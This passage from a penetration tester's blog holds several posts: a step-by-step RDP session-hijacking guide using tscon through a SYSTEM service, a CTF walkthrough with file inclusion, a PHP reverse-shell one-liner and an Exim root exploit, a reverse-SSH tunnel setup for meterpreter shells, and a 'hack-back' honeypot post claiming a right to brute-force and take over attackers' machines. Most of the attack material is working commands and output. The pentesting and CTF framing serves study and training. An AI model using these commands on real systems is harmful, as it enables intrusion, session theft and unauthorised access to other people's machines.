<div class="sectionblock" style="padding-bottom: 20px; padding-left: 15px;">
<div class="section">
<ul class="unordered" style="font-family: "Segoe UI", "Lucida Grande", Verdana, Arial, Helvetica, sans-serif; font-size: 13px;">
<li style="list-style-image: none;"><div style="color: #2a2a2a; line-height: 18px; padding-bottom: 15px;">
<i>You must have <b>Full Control access permission</b> or Connect special access permission to connect to another session.</i></div>
</li>
<li style="list-style-image: none;"><div style="color: #2a2a2a; line-height: 18px; padding-bottom: 15px;">
<i>The <strong>/dest:</strong><SessionName> parameter allows you to connect the session of another user to a different session.</i></div>
</li>
<li style="list-style-image: none;"><div style="line-height: 18px; padding-bottom: 15px;">
<i><span style="color: #2a2a2a;">If you do not specify a password in the <</span><span style="color: #2a2a2a;">Password</span><span style="color: #2a2a2a;">> parameter, and the target session belongs to a user other than the current one, </span><strong style="color: #2a2a2a;">tscon</strong><span style="color: #2a2a2a;"> </span>fails<b style="color: #cc0000;"> (not really)</b><span style="color: #2a2a2a;">.</span></i></div>
</li>
</ul>
<div>
</div>
</div>
</div>
<div>
</div>
I've got it! Sticky Keys (cmd backdoor) at windows login screen runs with NT AUTHORITY/SYSTEM and have Full Control access permission, and can connect to EVERY user session without asking for a password.
<br />
<div>
<br /></div>
<div>
<div>
So we've got a session hijacking here. The most funny thing is that the legit user isn't asked for logout, by using this technique the user just will be <b>kicked out of the session without any notification</b>.<br />
<br /></div>
<div>
<br /></div>
<div>
<h2>
Attack Vector Details:</h2>
A privileged user, which can gain command execution with NT AUTHORITY/SYSTEM rights can hijack any currently logged in user's session, without any knowledge about his credentials.<br />
Terminal Services session can be either in connected or disconnected state.</div>
<div>
<br /></div>
<div>
<b>This is <strike>high risk vulnerability</strike> which allows any local admin to hijack a session and get access to:</b></div>
<div>
1. Domain admin session.</div>
<div>
2. Any unsaved documents, that hijacked user works on.</div>
<div>
3. Any other systems/applications in which hijacked user previously logged in (May include another Remote Desktop sessions, Network Share mappings, applications which require another credentials, E-mail etc.)<br />
feature<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<h2>
Example scenario: </h2>
Some bank employee have access to billing system, and it's credentials to login.<br />
One day, he come to work, logging in to the billing system and start to work. At lunch time he <b>will lock his workstation</b>, and out to lunch.<br />
Then, system administrator gets to employee's workstation, and logs in with his administrator's account.<br />
According to the bank's policy, administrator's account should not have access to the billing system, but with couple of <b>built-in commands</b> in windows, this system administrator will hijack employee's desktop which he leaved locked. From now, sysadmin can perform malicious actions in billing system as billing employee account.<br />
<br />
There are huge amount of scenarios like this.<br />
<br />
Furthermore, an attacker doesn't need to use tools like metasploit, incognito, mimikatz etc, which is commonly used for user's token manipulation and impersonating logged in users. <b>Everything is done with built-in commands. </b>Every admin <b>can </b>impersonate any logged in user either locally with physical access or remotely via Remote Desktops (see PoC).<br />
<br />
<br /></div>
<div>
<h3>
Tested on:</h3>
Windows 2016 (Confirmed by Kevin Beaumont @GossiTheDog<span style="color: #222222; font-family: "arial" , sans-serif; font-size: 12.8px; white-space: pre-wrap;">)</span><br />
Windows 2012 R2<br />
Windows 2008<br />
Windows 10<br />
Windows 7<br />
<h3>
</h3>
<br />
<h2>
We can talk about endless amount of examples.</h2>
It can be done remotely, as shown in Proof of Concepts.<br />
<br />
An attacker can hijack active or disconnected session remotely via remote desktops.<br />
<b>I use this technique about three weeks</b> in my on-going penetration tests on daily basis. It in very simple way helps me to get access to sensitive information like emails, opened documents, clear-text passwords that administrators write down in notepad (not intended for saving, but for temporally writing it somewhere), <b>opened RDP sessions to another external domains</b> (think cloud), or another applications that make use of different login credentials.<br />
<br />
Someone can say, if you admin, you can dump server's memory and parse it. That's correct, but you don't need it any more. Just two simple commands and you are in. The most incredible thing, is that I don't need to know the credentials of hijacked user, it is pure passwordless hijacking.<br />
<br />
A successful <b>attack heavily related on time</b> and gathered information. If you need to dump a memory, to get your sensitive info, you're in problem. That means that you've tried all quick-wins that you know.<br />
<br />
In example of hijacking user (active or disconnected) while he is working now remotely on some sensitive server that i have no access to, and haven't even knew about it, this technique allows me to compromise that server in <b>less than a minute</b>. Everything is real and from my own experience.<br />
<br />
Furthermore, as I understand it is very hard to catch if this attack happen. Kevin Beaumont @GossiTheDog make an alert on tscon.exe usage, with Microsoft OMS.<br />
<br />
I had a conversation about this finding with Benjamin Delpy @gentilkiwi author of mimikatz:<br />
<i>"That is normal Windows API, that's the design flow, they use it. As mentioned earlier, if you admin, you can do everything. But here is the point. Why and HOW you become admin? If some unprivileged user becomes admin using some kind of local privilege escalation - that's the problem and not the design flow we are talking about. You can do everything, even patch terminal services the way that it will accept your token and allow shadowing mode, without user's knowledge."</i>, he said.<br />
<br />
<h2>
Proof of Concept:</h2>
</div>
<div>
<br /></div>
<div>
Microsoft documentation helps us to do that from command line:</div>
<div>
<a href="https://technet.microsoft.com/en-us/library/cc771505(v=ws.11).aspx">https://technet.microsoft.com/en-us/library/cc771505(v=ws.11).aspx</a></div>
<div>
<br /></div>
<div>
All we need is NT AUTHORITY/SYSTEM command line. </div>
<div>
Easiest method with psexec, but requires psexec.exe to be there: </div>
<div>
<pre class="black">psexec -s \\localhost cmd</pre>
</div>
<div>
<br /></div>
<div>
Another method is to create a service that will connect selected session to ours.</div>
<div>
<br /></div>
<div>
1. Get all sessions information:</div>
<pre class="black">C:\Windows\system32>query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
<b><span style="color: #cc0000;">administrator</span> <span style="color: #cc0000;">1</span></b> Disc 1 3/12/2017 3:07 PM
>localadmin <span style="color: #6aa84f;">rdp-tcp#55</span> 2 Active . 3/12/2017 3:10 PM
C:\Windows\system32>
</pre>
2. Create service which will hijack user's session:<br />
<pre class="black">C:\Windows\system32>sc create sesshijack binpath= "cmd.exe /k tscon <span style="color: #cc0000;">1</span> /dest:<span style="color: #6aa84f;">rdp-tcp#55</span>"
[SC] CreateService SUCCESS
</pre>
<div>
3. Start service:</div>
<div>
<pre class="black">net setart sesshijack</pre>
</div>
<div>
<br /></div>
<div>
Right after that your session will be replaced with target session.</div>
<div>
<br /></div>
<div>
<h2>
Proof of Concept video:</h2>
<h3>
Windows Server 2016 Demo (<span style="color: #274e13;">new</span>):</h3>
<div>
<a href="https://youtu.be/bbTfN5geSKw">https://youtu.be/bbTfN5geSKw</a></div>
<h3>
Windows 7 via Task Manager:</h3>
<a href="https://youtu.be/oPk5off3yUg">https://youtu.be/oPk5off3yUg</a><br />
<h3>
Windows 7 via command line:</h3>
<a href="https://youtu.be/VytjV2kPwSg">https://youtu.be/VytjV2kPwSg</a><br />
<h3>
Windows 2012 R2 via service creation:</h3>
<a href="https://youtu.be/OgsoIoWmhWw">https://youtu.be/OgsoIoWmhWw</a><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Update: <a class="twitter-atreply pretty-link js-nav" data-mentioned-user-id="310944393" dir="ltr" href="https://twitter.com/gentilkiwi" style="background: rgb(255, 255, 255); color: #0084b4; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 16px; text-decoration: none; white-space: pre-wrap;">@gentilkiwi</a> has found that before in 2011, so that is a feature and not zero-day: <a href="http://blog.gentilkiwi.com/securite/vol-de-session-rdp">http://blog.gentilkiwi.com/securite/vol-de-session-rdp</a><br />
<br />
Update: If you still think that this don't have high attack value, read a great writeup by Kevin Beaumont about this feature:<br />
<a href="https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6">https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6</a><br />
<br />
Update: RedSnarf has now support in RDP Hijacking <a href="https://www.youtube.com/watch?v=VrF8uXK_ePY">https://www.youtube.com/watch?v=VrF8uXK_ePY</a></div>
</div>
<br />
<iframe allowtransparency="true" class="twitter-follow-button twitter-follow-button-rendered" data-screen-name="nopernik" frameborder="0" id="twitter-widget-0" scrolling="no" src="https://platform.twitter.com/widgets/follow_button.b41e99df00581dc95d7fdd63f3283511.en.html#dnt=false&id=twitter-widget-0&lang=en&screen_name=nopernik&show_count=false&show_screen_name=true&size=m&time=1468752459053" style="height: 20px; position: static; visibility: visible; width: 121px;" title="Twitter Follow Button"></iframe>
<script id="twitter-wjs" src="https://platform.twitter.com/widgets.js"></script><script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height: 20px; width: 20px;" /></a><br />
<iframe allowfullscreen="true" allowtransparency="true" frameborder="0" id="rufous-sandbox" scrolling="no" style="border: none; display: none; height: 0px; padding: 0px; position: absolute; visibility: hidden; width: 0px;"></iframe>
<iframe allowfullscreen="true" allowtransparency="true" frameborder="0" id="rufous-sandbox" scrolling="no" style="border: none; display: none; height: 0px; padding: 0px; position: absolute; visibility: hidden; width: 0px;"></iframe>
nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com43tag:blogger.com,1999:blog-343942367941320523.post-53632645376696940172017-03-15T02:16:00.000+02:002017-03-15T02:16:28.365+02:00Pluck 1 CTFLove this challenge :)<br />
The main point I think, is to pay attention to details. It is most important.<br />
<br />
Ok let's start:<br />
<br />
<pre class="black">Nmap scan report for 172.16.3.4
Host is up (0.00099s latency).
Not shown: 97 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
MAC Address: 00:0C:29:01:7F:D6 (VMware)
</pre>
<br />
In web application we find straitforward LFI:<br />
http://10.0.0.1/index.php?page=/etc/passwd<br />
<br />
Shows us two interesting rows:<br />
<br />
<pre class="white">paul:x:1002:1002:,,,:/home/paul:<b>/usr/bin/pdmenu </b>(next challenge?)
backup-user:x:1003:1003:Just to make backups easier,,,:/backups:<b>/usr/local/scripts/backup.sh</b>
</pre>
<br />
Let's see backup.sh script:<br />
http://172.16.3.4/index.php?page=/usr/local/scripts/backup.sh<br />
<br />
<pre class="white">#Backup directories in /backups so we can get it via tftp
echo "Backing up data"
tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null
</pre>
<br />
Seems that tftp server running.
<br />
<pre class="black">tftp> get backup.tar
Received 1824718 bytes in 0.3 seconds
tftp> exit
tar xvf backup.tar
</pre>
Digging in backups...<br />
admin.php is sql injection trolling so there is no sql injection<br />
<br />
/home/paul/keys/ : a lot of private/public keys pairs found<br />
<br />
working key:<br />
<pre class="black">ssh -i id_key4 paul@pluck
</pre>
<br />
In all options, arbitrary command can be executed via $(id).<br />
Using php reverse shell one liner:<br />
<pre class="white">$(php -r '$sock=fsockopen("10.0.0.1",80);exec("/bin/sh -i <&3 >&3 2>&3");')
</pre>
and listener:
<br />
<pre class="black">nc -lvp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [10.0.0.1] port 80 [tcp/http] accepted (family 2, sport 53278)
$ id
uid=1002(paul) gid=1002(paul) groups=1002(paul)
</pre>
Finding for SUID files:<br />
<pre class="black">find / -perm -4000 -ls 2>/dev/null</pre>
<br />
Reveal us a vulnerable Exim application:<br />
<pre class="black"> 153966 1024 -rwsr-xr-x 1 root root 1046368 Jan 18 08:54 /usr/exim/bin/exim-4.84-7</pre>
<br />
Exploit is very simple and trivial to use, also you may find a hint in .viminfo file<br />
Seems to be Exim local privilege escalation testing and the author forgot to clean it properly :)<br />
<pre class="black">-' 1 0 /tmp/asdf.pm
-' 4 0 /tmp/test.pm
</pre>
Let's try:<br />
exploit-database: 39535<br />
<pre class="black">...snip
$ PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
id
uid=0(root) gid=1002(paul) groups=1002(paul)
$ cd /root
$ ls
flag.txt
$ cat flag.txt
Congratulations you found the flag
---------------------------------------
###### ((((((((((((((((((((((((((((((
######### (((((((((((((((((((((((((((
,,########## ((((((((((((((((((((((((
@@,,,########## (((((((((((((((((((((
@@@@@,,,##########
@@@@@@@@,,,############################
@@@@@@@@@@@,,,#########################
@@@@@@@@@,,,###########################
@@@@@@,,,##########
@@@,,,########## &&&&&&&&&&&&&&&&&&&&
,,,########## &&&&&&&&&&&&&&&&&&&&&&&
########## &&&&&&&&&&&&&&&&&&&&&&&&&&
####### &&&&&&&&&&&&&&&&&&&&&&&&&&&&&
</pre>
Cool :)<br />
Uptime: 45 min<br />
<div>
<br /></div>
nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com1tag:blogger.com,1999:blog-343942367941320523.post-10439644652872481912017-03-01T03:05:00.001+02:002017-03-01T03:05:38.047+02:00sudo.co.il - Nopernik's Attacking Honeypot. ("NAH") или нах!NAH is distributed system, which is located in most parts of the world.<br />
On each system you can find this Terms of Use.<br />
<br />
<h3>
Terms of use.</h3>
By using any of provided services, you completely agree with next statements:<br />
<br />
<div style="text-align: justify;">
1. Once you send me SYN packet to commonly used ports that involved in botnet bruteforce attacks, which include but not limited to SSH and/or RDP, you provide to "NAH" and the owner exclusive right to attack back in any way your public IP address, disclose/share/sell your IP and/or data to the public, including wordlist that have been used in your attack.</div>
<br />
<div style="text-align: justify;">
2. Once correct credentials recovered, you completely agree and provide to "NAH"/owner/third parties choosed by the owner exclusive right to perform any manipulation with your machine and/or IP and/or internet access, you agree to removal of all known/unknown malicious software and/or botnet agents.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
3. <b>With that said, you provide to "NAH" and the owner FULL and LEGAL access to your network-connected device.</b></div>
<div>
<br /></div>
<pre class="black"># ./attackback.py
Found a new jerk! [censured].XXX.XXX:22
Bruteforcing SSH: [censured].XXX.XXX
[22][ssh] host: [censured].XXX.XXX login: <span style="color: #6aa84f;">root</span> password: <span style="color: #6aa84f;">ThisPassw0rdMightBeDefault!
</span>1 of 1 target successfully completed, 1 valid password found
Credentials found!
Getting whois info...
Gathering system information...
Finding malware/botnet agents...
<span style="color: #6aa84f;">Found! Removing...</span>
Sending email...
Waiting for another one...
</pre>
<br />
Proof of Concept will be soon. Stay tuned.<br />
<br />
<iframe allowtransparency="true" class="twitter-follow-button twitter-follow-button-rendered" data-screen-name="nopernik" frameborder="0" id="twitter-widget-0" scrolling="no" src="https://platform.twitter.com/widgets/follow_button.b41e99df00581dc95d7fdd63f3283511.en.html#dnt=false&id=twitter-widget-0&lang=en&screen_name=nopernik&show_count=false&show_screen_name=true&size=m&time=1468752459053" style="height: 20px; position: static; visibility: visible; width: 121px;" title="Twitter Follow Button"></iframe>
<script id="twitter-wjs" src="https://platform.twitter.com/widgets.js"></script><script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height: 20px; width: 20px;" /></a><br />
<iframe allowfullscreen="true" allowtransparency="true" frameborder="0" id="rufous-sandbox" scrolling="no" style="border: none; display: none; height: 0px; padding: 0px; position: absolute; visibility: hidden; width: 0px;"></iframe>
<iframe allowfullscreen="true" allowtransparency="true" frameborder="0" id="rufous-sandbox" scrolling="no" style="border: none; display: none; height: 0px; padding: 0px; position: absolute; visibility: hidden; width: 0px;"></iframe>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com1tag:blogger.com,1999:blog-343942367941320523.post-26164321177322094492016-08-01T13:56:00.001+03:002016-08-01T13:56:46.637+03:00Tada :) OSCE.<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-VIk6kU6QOLI/V58q3d2vExI/AAAAAAAABXA/a2O3BRo_KVAW2hFG87_PmH1-v5-yR8WfACLcB/s1600/osce_full.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://3.bp.blogspot.com/-VIk6kU6QOLI/V58q3d2vExI/AAAAAAAABXA/a2O3BRo_KVAW2hFG87_PmH1-v5-yR8WfACLcB/s640/osce_full.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com1tag:blogger.com,1999:blog-343942367941320523.post-59243540699011816732016-07-18T00:56:00.000+03:002016-07-18T01:05:08.830+03:00msfvenom Bash Completion Generator<meta name="twitter:card" content="summary">
<meta name="twitter:site" content="http://www.korznikov.com/2016/07/msfvenom-bash-completion-generator.html">
<meta name="twitter:creator" content="@nopernik">
<meta name="twitter:title" content="msfvenom Bash Completion Generator">
<meta name="twitter:description" content="Tired of endless typing linux/x86/meterpreter/WTF payload? Make your life easier with Bash Completions">
<meta name="twitter:image" content="http://sudo.co.il/msfvenom_gererator.png">
I've spent a lot of time in writing commands for msfvenom... Tired and automated it with Bash Completions. Outdated version can be found <a href="http://www.korznikov.com/2015/02/bash-completions-for-msfvenom.html">here</a>.<br />
<div>
<br /></div>
<div>
But in this case, every new payload should be added manually. Not fun.</div>
<div>
<br /></div>
<div>
Again, some automation and now it will be automatically generated.</div>
<div>
<pre class="black">root@kali:/opt/metasploit-framework# git clone https://github.com/nopernik/msfvenom-bc-generator
Cloning into 'msfvenom-bc-generator'...
remote: Counting objects: 9, done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 1), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (9/9), done.
root@kali:/opt/metasploit-framework# mv ./msfvenom-bc-generator/msfvenom_bc_generator.rb .
root@kali:/opt/metasploit-framework# ruby msfvenom_bc_generator.rb
[+] Collecting output formats
[+] Collecting payloads
[+] Collecting encoders
[+] Collecting nops
[+] Generating bash_completion file
[+] Writing out /etc/bash_completion.d/msfvenom
[+] Done. Open a new terminal and type msfvenom TABTAB :)
root@kali:/opt/metasploit-framework# msfvenom -p linux/x86/ <i><span style="color: #ffd966;"><b><tab><tab></b></span></i>
linux/x86/adduser linux/x86/meterpreter/reverse_tcp linux/x86/shell_bind_tcp_random_port
linux/x86/chmod linux/x86/meterpreter/reverse_tcp_uuid linux/x86/shell/bind_tcp_uuid
linux/x86/exec linux/x86/metsvc_bind_tcp linux/x86/shell_find_port
linux/x86/meterpreter/bind_ipv6_tcp linux/x86/metsvc_reverse_tcp linux/x86/shell_find_tag
linux/x86/meterpreter/bind_ipv6_tcp_uuid linux/x86/read_file linux/x86/shell/find_tag
linux/x86/meterpreter/bind_nonx_tcp linux/x86/shell_bind_ipv6_tcp linux/x86/shell/reverse_ipv6_tcp
linux/x86/meterpreter/bind_tcp linux/x86/shell/bind_ipv6_tcp linux/x86/shell/reverse_nonx_tcp
linux/x86/meterpreter/bind_tcp_uuid linux/x86/shell/bind_ipv6_tcp_uuid linux/x86/shell_reverse_tcp
linux/x86/meterpreter/find_tag linux/x86/shell/bind_nonx_tcp linux/x86/shell/reverse_tcp
linux/x86/meterpreter/reverse_ipv6_tcp linux/x86/shell_bind_tcp linux/x86/shell_reverse_tcp2
linux/x86/meterpreter/reverse_nonx_tcp linux/x86/shell/bind_tcp linux/x86/shell/reverse_tcp_uuid
root@kali:/opt/metasploit-framework# msfvenom -p linux/x86/
</pre>
<br /></div>
<div>
Available on github: <a href="https://github.com/nopernik/msfvenom-bc-generator">https://github.com/nopernik/msfvenom-bc-generator</a></div>
<div>
<br /></div>
<a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height: 20px; width: 20px;" /></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com1tag:blogger.com,1999:blog-343942367941320523.post-76450449446291730702016-07-17T17:17:00.000+03:002016-07-17T20:43:48.894+03:00LAN to VPN Reverse Shell (Reverse SSH Technique)<meta name="twitter:card" content="summary">
<meta name="twitter:site" content="http://korznikov.com">
<meta name="twitter:creator" content="@nopernik">
<meta name="twitter:title" content="LAN to VPN Reverse Shell (Reverse SSH Technique)">
<meta name="twitter:description" content="How to get reverse shell if you are behind VPN (NAT) and you can't or don't want to make port-forwarding?">
<meta name="twitter:image" content="https://4.bp.blogspot.com/-5zVt0TFCYZU/V4rF_pPRbtI/AAAAAAAABVI/scQjYc_GWLsG89SnRbinTfeWIN30zb7dQCLcB/s640/reverse_ssh.png">
Hi there,<br />
<br />
How to get reverse shell if you are behind VPN (NAT) and you can't or don't want to make port-forwarding?<br />
It's another, less popular reverse shell method, that needs some requirements and preparations.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-5zVt0TFCYZU/V4rF_pPRbtI/AAAAAAAABVI/scQjYc_GWLsG89SnRbinTfeWIN30zb7dQCLcB/s1600/reverse_ssh.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="reverse shell, hacking, ssh tunneling" border="0" height="418" src="https://4.bp.blogspot.com/-5zVt0TFCYZU/V4rF_pPRbtI/AAAAAAAABVI/scQjYc_GWLsG89SnRbinTfeWIN30zb7dQCLcB/s640/reverse_ssh.png" title="" width="640" /></a></div>
<br />
<br />
By the way, you may try out <a href="http://www.korznikov.com/2016/07/lan-to-vpn-reverse-shell-udp-hole.html">UDP Hole Punching Technique</a> or use this one instead.<br />
<br />
Do do so, you will need some linux box with public IP and root access level.<br />
<br />
Let's create <b>Reverse shell via Reverse SSH Tunnel</b>:<br />
<br />
<b>1.</b> Start up <b>exploit/multi/handler</b> listening on 443 port (locally):<br />
<pre class="black">use exploit/multi/handler
msf exploit(<span style="color: #cc0000;"><b>handler</b></span>) > set payload windows/meterpreter/reverse_tcp
msf exploit(<span style="color: #cc0000;"><b>handler</b></span>) > set LPORT 443
msf exploit(<span style="color: #cc0000;"><b>handler</b></span>) > set LHOST 127.0.0.1
msf exploit(<span style="color: #cc0000;"><b>handler</b></span>) > set exitonsession false
msf exploit(<span style="color: #cc0000;"><b>handler</b></span>) > run -j
<span style="color: #0b5394;"><b>[*]</b></span> Exploit running as background job.
<span style="color: #0b5394;"><b>[*]</b></span> Started reverse TCP handler on 127.0.0.1:443
<span style="color: #0b5394;"><b>[*]</b></span> Starting the payload handler...
msf exploit(<span style="color: #cc0000;"><b>handler</b></span>) >
</pre>
<br />
<b>2.</b> Create Reverse SSH Tunnel with public linux box:<br />
<pre class="black">root@kali:~# ssh -R 443:127.0.0.1:443 root@pwnd.linux.box</pre>
<br />
<blockquote class="tr_bq">
<i>Just to remind ssh tunneling syntax:</i><i><br /><b>-R</b> will open port <b>443</b> on <b>pwnd.linux.box</b> and will forward all traffic to attackers host in our case: <b>127.0.0.1:443</b></i></blockquote>
<br />
<b>3.</b> Run reverse shell on victim's host.<br />
<b>4. </b>Profit!<br />
<br />
But to make it work you should add this line to <b>/etc/ssh/sshd_config</b> file (on linux host):<br />
<pre class="black">GatewayPorts yes</pre>
<br />
Otherwise, linux box will listen on localhost only and will be unable to accept connections externally.
<br />
<br />
<a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
